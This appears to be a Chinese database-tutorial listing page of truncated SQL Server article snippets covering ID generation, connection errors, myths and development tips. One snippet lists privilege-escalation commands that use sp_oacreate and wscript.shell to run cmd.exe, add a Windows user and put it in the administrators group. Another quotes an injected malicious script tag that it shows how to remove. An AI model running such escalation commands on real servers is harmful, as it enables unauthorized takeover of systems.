-
SQLServer自动生成日期加数字的序列号
USEMASTERGOIFEXISTS(SELECT*FROMdbo.sysdatabasesWHEREname='my_test_database')DROPDATABASE[my_test_database]GOCREATEDATABASE[my_test_database]GOUSE[my_test_database]GOCREATETABLE[my_table]([my_id]VARCHAR(16))GO--存储过程开始:CREATEPROCEDUREget_new_id@NEW_IDVARCHAR(16)OUTPUTASBEGINDECLARE@DATEDATETIMEDECLARE@YYYYVARCHAR(4)DECLARE@MMVARCHAR(2)DECLARE@DDVARCHAR(2)--保存取得的当前时间:SET@DATE=GETDATE()SET@YYYY=DATEPART(yyyy,@DATE)SET@MM=DATEPART(mm,@DATE)SET@DD=DATEPART(dd,@DATE)--位数不够的前面补0SET@YYYY=REPLICATE('0',4-...
数据库操作教程 2022-09-23 17:00:03 -
SQLSERVER自增列
declare@Table_namevarchar(60)set@Table_name='';ifExists(Selecttop11fromsysobjects Whereobjectproperty(id,'TableHasIdentity')=1 andupper(name)=upper(@Table_name) ) select1elseselect0--orifExists(Selecttop11fromsysobjectsso Whereso.xtype='U'&n...
数据库操作教程 2022-09-23 16:59:57 -
sql2000卸载后重新安装时不能安装的解决办法
1、将Programfiles下的SQL安装目录删除(此处如果有重要的数据,请先备份)C:ProgramFilesMicrosoftSQLServer80Tools。C:ProgramFilesMicrosoftSQLServerMSSQL...
数据库操作教程 2022-09-23 16:59:54 -
除MSSQL数据库text字段中恶意脚本的删方法
方法很简单:text字段不能使用Replace,所以使用patindex复制代码代码如下:-select*fromProductwhereP_Introlike'%<scriptsrc="http://my.stsw518...
数据库操作教程 2022-09-23 16:59:50 -
SQLServer误区30日谈第18天有关FileStream的存储,垃圾回收以及其它
误区#18:如下多个有关FileStream的误区全部错误18a)FileStream数据可以在远程存储 不能,由于FileStream数据容器(指的是存放FileStream文件的NTFS文件夹,杜撰出来的术语)必须像数据文件或日志文件那样符合本地存储策略-也就是说,这个数据容器必须放在对于运行SQLServer的WindowsServer是本地存储(译者注:也就是在‘计算机'里能看到的存储,DAC当然是了,其实SAN这类不直接连接服务器的也算是)访问FileStream数据只要客户端连接到了SQLServer服务器并获取响应的事务上下文后,就可以通过UNC路径进行访问了。18b)FileStream的数据容器可以嵌套 不能,对于同一个数据库的两个不同的FileStream容器可能在同一个目录下,但是却不能嵌套...
数据库操作教程 2022-09-23 16:59:41 -
远程连接局域网内的SQLServer的方法
第一个错误"SQLServer不存在或访问被拒绝"通常是最复杂的,错误发生的原因比较多,需要检查的方面也比较多。一般说来,有以下几种可能性: 1、SQLServer名称或IP地址拼写有误; 2、服务器端网络配置有误; 3、客户端网络配置有误...
数据库操作教程 2022-09-23 16:59:34 -
SQLServer连接异常与解决方法小结
一:[MICROSOFT][ODBCSQLSERVERDRIVER][SQLSERVER]用户'(null)'登陆失败,未与信任SQLSERVER连接相关联处理原因是由于SQLServer使用了"仅Windows"的身份验证方式,因此用户无法使用SQLServer的登录帐户(如sa)进行连接(方法一)改成:Windows"的身份验证方式二、SQLServer不存在或访问被拒绝 一般情况下,有几种可能性: 1.SQLServer名称或IP地址拼写有误。 2.服务器端网络配置有误...
数据库操作教程 2022-09-23 16:59:31 -
SQLServer误区30日谈第26天SQLServer中存在真正的“事务嵌套”
误区#26:SQLServer中存在真正的“事务嵌套”错误 嵌套事务可不会像其语法表现的那样看起来允许事务嵌套。我真不知道为什么有人会这样写代码,我唯一能够想到的就是某个哥们对SQLServer社区嗤之以鼻然后写了这样的代码说:“玩玩你们”...
数据库操作教程 2022-09-23 16:59:27 -
SQL提权常用命令
1、连接数据库driver={SQLServer};server=服务器IP;uid=用户名;pwd=密码;database=数据库名2、添加新用户declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:windowssystem32cmd.exe/cnetuser新用户密码/add'3、把用户加到管理组declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:windowssystem32cmd.exe/cnetlocalgroupadministrators新用户/add'4、激活GUEST用户declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:windowssystem32cmd.e...
数据库操作教程 2022-09-23 16:59:10 -
sql多条件组合查询,并根据指定类别找出所有最小子类别的SQL语句备忘
复制代码代码如下:DECLARE@PAGESIZEINTDECLARE@PAGEINDEXINTDECLARE@PAGECOUNTINTDECLARE@RECORDCOUNTINTSELECT@PAGESIZE=5SELECT@PAGEINDEX=1DECLARE@FIELDNAMEVARCHAR(50)DECLARE@FIELDVALUEVARCHAR(50)DECLARE@OPERATIONVARCHAR(50)--组合条件DECLARE@WHERENVARCHAR(1000)SELECT@WHERE='WHERENOTDISPLAY=0'DECLAREABCCURSORFORSELECTFIELDNAME,FIELDVALUE,OPERATIONFROMTBPARAMETERSOPENABCFETCHNEXTFROMABCINTO@FIELDNAME,@FIELDVALUE,@OPERATIONWHILE@@FETCH_STATUS=0BEGIN IF(@OPERATION='Like')  ...
数据库操作教程 2022-09-23 16:59:02 -
SQLServer误区30日谈第28天有关大容量事务日志恢复模式的误区
误区#28:有关大容量事务日志恢复模式的几个误区28a)常见的DML操作可以被“最小记录日志” 不是。在大容量事务日志恢复模式下只有一小部分批量操作可以被“最小记录日志”,这类操作的列表可以在OperationsThatCanBeMinimallyLogged找到...
数据库操作教程 2022-09-23 16:58:54 -
SQLServer数据库开发顶级技巧
确保代码中的数据类型与数据库中的列类型保持一致 确保您的应用程序各层数据类型保持一致是非常重要的。例如,如果一列的数据类型为NVARCHAR(50),那么,您应该在代码查询与存储过程中使用相同类型的局部变量...
数据库操作教程 2022-09-23 16:58:51